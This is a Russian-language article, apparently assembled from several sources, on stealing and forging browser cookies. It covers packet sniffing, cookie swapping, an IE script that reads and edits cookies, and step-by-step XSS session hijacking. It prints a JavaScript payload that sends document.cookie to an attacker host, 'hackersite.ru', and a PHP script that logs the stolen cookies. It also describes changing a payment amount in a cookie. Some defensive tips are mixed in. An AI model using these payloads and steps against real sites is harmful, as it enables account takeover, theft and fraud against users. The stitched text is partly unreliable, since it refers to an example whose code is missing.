Программы для кражи куки по ip. Способы кражи куки файлов

Задумывались ли вы когда-нибудь о том, как на некоторых Web-узлах происходит персонификация посетителей? Это может выражаться, например, в запоминании содержимого "тележки" (если этот узел предназначен для продажи товаров) или в способе заполнения полей какой-нибудь формы. В протоколе HTTP, лежащем в основе функционирования World Wide Web, нет средств, позволяющих отслеживать события от одного посещения узла к другому, поэтому для возможности хранения таких "состояний" было разработано специальное дополнение. Этот механизм, описанный в документе RFC 2109, обеспечивает вставку в передаваемые запросы и ответы HTTP специальных фрагментов данных cookie, позволяющих Web-узлам отслеживать своих посетителей.

Данные cookie могут запоминаться на время сеанса связи (per session ), оставаясь в оперативной памяти в течение одного сеанса и удаляясь при закрытии браузера, или даже после истечения заданного промежутка времени. В других случаях они бывают постоянными (persistent ), оставаясь на жестком диске пользователя в виде текстового файла. Обычно они хранятся в каталоге Cookies (%windir% \Cookies - в Win9x и %userprofile%\Cookies - в NT/2000). Нетрудно догадаться, что после захвата файлов cookie в Internet взломщик может выдавать себя за пользователя данного компьютера, или собирать содержащуюся в этих файлах важную информацию. Прочитав следующие разделы, вы поймете, насколько просто это сделать.

Перехват файлов cookie

Самый прямой способ заключается в перехвате файлов cookie при их передаче по сети. Затем перехваченные данные можно использовать при входе на соответствующий сервер. Такую задачу можно решить с помощью любой утилиты перехвата пакетов, однако одной из лучших является программа Лаврентия Никулы (Laurentiu Nicula ) SpyNet/PeepNet . В состав SpyNet входят две утилиты, которые работают в комплексе. Программа CaptureNet выполняет захват самого пакета и сохраняет его на диске, а утилита PeepNet открывает этот файл и преобразует его в читабельный формат. Следующий пример является фрагментом восстановленного программой PeepNet сеанса связи, во время которого файл cookie служит для аутентификации и управления доступом к просматриваемым страницам (для сохранения анонимности имена изменены).

GET http://www.victim.net/images/logo.gif HTTP/1.0 Accept: */* Referrer: http://www.victim.net/ Host: www.victim.net Cookie: jrunsessionid=96114024278141622; cuid=TORPM!ZXTFRLRlpWTVFISEblahblah

В приведенном примере виден фрагмент cookie, помещенный в поступающий на сервер запрос HTTP. Наиболее важным является поле cuid= , в котором задается уникальный идентификатор, используемый при аутентификации пользователя на узле www.victim.net. Допустим, что после этого взломщик посетил узел victim.net, получил собственный идентификатор и файл cookie (предполагается, что узел помещает данные cookie не в виртуальную память, а записывает их на жесткий диск). Тогда взломщик может открыть свой собственный файл cookie и заменить в нем идентификатор поля cuid=, взяв его из перехваченного пакета. В этом случае при входе на сервер victim.net он будет восприниматься как пользователь, чьи данные cookie были перехвачены.

Способность программы PeepNet воспроизводить весь сеанс связи или его фрагмент значительно облегчает реализацию атак этого типа. С помощью кнопки Go get it! можно повторно извлечь страницы, которые просматривались пользователем, используя его данные cookie, перехваченные ранее программой CaptureNet. В диалоговом окне утилиты PeepNet можно увидеть информацию о чьих-то выполненных распоряжениях. При этом для аутентификации используются данные cookie, перехваченные программой CaptureNet. Обратите внимание на фрейм, расположенный в нижнем правом углу диалогового окна с данными сеанса связи, и на строку, которая следует за строкой Cookie:. Это данные cookie, используемые при аутентификации.

Это довольно ловкий трюк. Кроме того, утилита CaptureNet может предоставить полную запись трафика в расшифрованном виде, что практически равносильно возможностям утилит профессионального класса, таких как Sniffer Pro компании Network Associates, Inc. Однако утилита SpyNet еще лучше - ее можно получить бесплатно!

Контрмеры

Следует остерегаться узлов, на которых файлы cookie применяются для аутентификации и хранения важных идентификационных данных. Одним из инструментов, помогающих в обеспечении защиты, является программа Cookie Pal компании Kookaburra Software, которую можно найти на Web-узле http://www.kburra.com/cpal.html . Этот программный продукт можно настроить так, чтобы для пользователя генерировались предупреждающие сообщения о попытках Web-узла воспользоваться механизмом cookie. При этом можно "заглянуть за кулисы" и решить, следует ли разрешать выполнение этих действий. В Internet Explorer имеется встроенный механизм поддержки файлов cookie. Чтобы активизировать его, запустите аплет Internet Options панели управления, перейдите во вкладку Security, выберите элемент Internet Zone, установите режим Custom Level и для постоянных и временных данных cookie установите переключатель в положение Prompt. Настройка использования файлов cookie в браузере Netscape выполняется с помощью команды Edit › Preferences › Advanced и установки режима Warn me before accepting a cookie или Disable cookies (рис. 16.3). Принимая файл cookie, нужно проверить, записался ли он на диск, и узнать, собирает ли Web-узел информацию о пользователях.

Посещая узел, на котором файлы cookie служат для аутентификации, необходимо убедиться, что первоначально сообщаемые имя и пароль шифруются хотя бы с помощью протокола SSL. Тогда эта информация появится в окне программы PeepNet по меньшей мере не в виде простого текста.

Авторы предпочли бы полностью отказаться от файлов cookie, если бы многие часто посещаемые Web-узлы не требовали этого режима. Например, для популярной во всем мире службы Hotmail компании Microsoft наличие файлов cookie обязательно для регистрации. Поскольку эта служба в процессе аутентификации задействует несколько различных серверов, то добавить их в зону надежных узлов не так-то просто (этот процесс описан в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов Activex"). В этом случае поможет обозначение *.hotmail.com. Файлы cookie - далеко не идеальное решение проблемы неполноты протокола HTML, однако альтернативные подходы, по-видимому, еще хуже (например, добавление к адресу URL идентификатора, который может храниться на proxy-серверах). Пока не появится идея получше, единственным выходом остается контроль над файлами cookie с помощью перечисленных выше методов.

Захват файлов cookie через URL

Представим себе нечто ужасное: пользователи Internet Explorer щелкают на специально сконструированных гиперссылках и становятся потенциальными жертвами, рискуя, что их файлы cookie будут перехвачены. Беннет Хазельтон (Bennett Haselton ) и Джеми Маккарти (Jamie McCarthy ) из тинейджерской организации Peacefire, ратующей за свободу общения через Internet, опубликовали сценарий, воплощающий эту идею в жизнь. Этот сценарий извлекает файлы cookie с клиентского компьютера, если его пользователь щелкает на ссылке, содержащейся на этой странице. В результате содержимое файла cookie становится доступным для операторов Web-узла.

Эту возможность можно использовать в неблаговидных целях, внедряя дескрипторы IFRAME в HTML-код Web-страницы, электронного сообщения в формате HTML или сообщения из группы новостей. В следующем примере, предложенном консультантом по вопросам безопасности Ричардом М. Смитом, демонстрируется возможность использования дескрипторов IFRAME совместно с утилитой, разработанной организацией Peacefire.

Для того, чтоб подобные вещи не грозили нашим личным данным, сам так делаю и всем советую всегда обновлять ПО, работающее с HTML-кодом (e-mail клиенты, медиа-проигрыватели, браузеры и т.д.).

Многие предпочитают просто блокировать получение файлов cookie, однако, большинству Web-узлов для просмотра необходима поддержка cookie. Вывод – если в скором будущем появится инновационная технология, позволяющая обходится без cookie, программисты и администраторы с облегчением вздохнут, а пока cookie остается лакомым куском для хакера! Это действительно так, поскольку более качественной альтернативы пока не существует.

Меры противодействия, выполняемые на стороне сервера

В случае рекомендаций по обеспечению безопасности сервера специалисты дают один простой совет: не используйте механизм cookie без особой на то необходимости! Особенно необходимо быть осторожными при использовании файлов cookie, которые остаются в системе пользователя после завершения сеанса связи.

Конечно же, важно понимать, что файлы cookie могут использоваться в целях обеспече­ния безопасности Web-серверов для осуществления авторизации пользователей. Если все же разрабатываемому приложению необходимо использовать файлы cookie, то этот механизм следует настроить таким образом, чтобы при каждом сеансе использовались различные клю­чи с коротким периодом действия, а также стараться не помещать в эти файлы информацию, которая может быть использована хакерами для взлома (такую как ADMIN=TRUE).

Кроме того, для обеспечения большей безопасности при работе с файлами cookie можно использовать их шифрование для предотвращения извлечения важной информации. Конечно же, шифрование не решает всех проблем безопасности при работе с технологией cookie, однако этот метод позволит предотвратить наиболее простые взломы, описанные выше.

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);


Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

Инструменты и методы взлома куки

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Снифферы

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

  • «прослушивание» сетевых интерфейсов (хабов, свитчей);
  • ответвление и копирование трафика;
  • подключение в разрыв сетевого канала;
  • анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

  • злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
  • жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
  • в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

  • Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
  • Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Подмена куки

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

  • функции «Управление cookies... » в браузере Opera;
  • аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
  • утилиты IECookiesView (только для Internet Explorer);
  • текстового редактора типа AkelPad, NotePad или блокнота Windows.

Физический доступ к данным

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

  1. В адресную строку браузера вводится функция javascript, отображающая все сохранённые куки.
  2. После нажатия «ENTER» они все появляются на странице.
  3. Куки копируются, сохраняются в файл, а затем переносятся на флешку.
  4. На другом ПК осуществляется подмена куки в новой сессии.
  5. Открывается доступ к аккаунту жертвы.

Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

XSS + сниффер

  1. Создаётся XSS-скрипт, в котором указывается адрес сниффера-онлайн (собственного изготовления либо конкретного сервиса).
  2. Вредоносный код сохраняется с расширением.img (формат картинки).
  3. Затем этот файл загружается на страницу сайта, в чат, либо в личное сообщение — туда, где будет осуществляться атака.
  4. Привлекается внимание пользователя к созданной «ловушке» (здесь в силу уже вступает социальная инженерия).
  5. Если «ловушка» срабатывает, куки из браузера жертвы перехватываются сниффером.
  6. Взломщик открывает логи сниффера и извлекает похищенные куки.
  7. Далее выполняет подмену для получения прав владельца аккаунта посредством вышеперечисленных инструментов.

Защита cookies от взлома

  1. Пользоваться шифрованным соединением (с использованием соответствующих протоколов, и методов обеспечения ).
  2. Не реагировать на сомнительные ссылки, картинки, заманчивые предложения ознакомиться с «новым бесплатным ПО». В особенности от незнакомых людей.
  3. Пользоваться только доверенными веб-ресурсами.
  4. Завершать авторизированную сессию, нажатием кнопки «Выход» (а не просто закрывать вкладку!). Особенно, если вход в аккаунт выполнялся не с личного компьютера, а, например, с ПК в интернет-кафе.
  5. Не пользоваться функцией браузера «Сохранить пароль». Сохраняемые регистрационные данные повышают риск кражи в разы. Не стоит лениться, не стоит жалеть нескольких минут времени на ввод пароля и логина в начале каждой сессии.
  6. После веб-сёрфинга — посещения соцсетей, форумов, чатов, сайтов — удалять сохранённые куки и очищать кэш браузера.
  7. Регулярно обновлять браузеры и антивирусное ПО.
  8. Пользоваться браузерными расширениями, защищающими от XSS-атак (например, NoScript для FF и Google Chrome).
  9. Периодически в аккаунтах.

И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!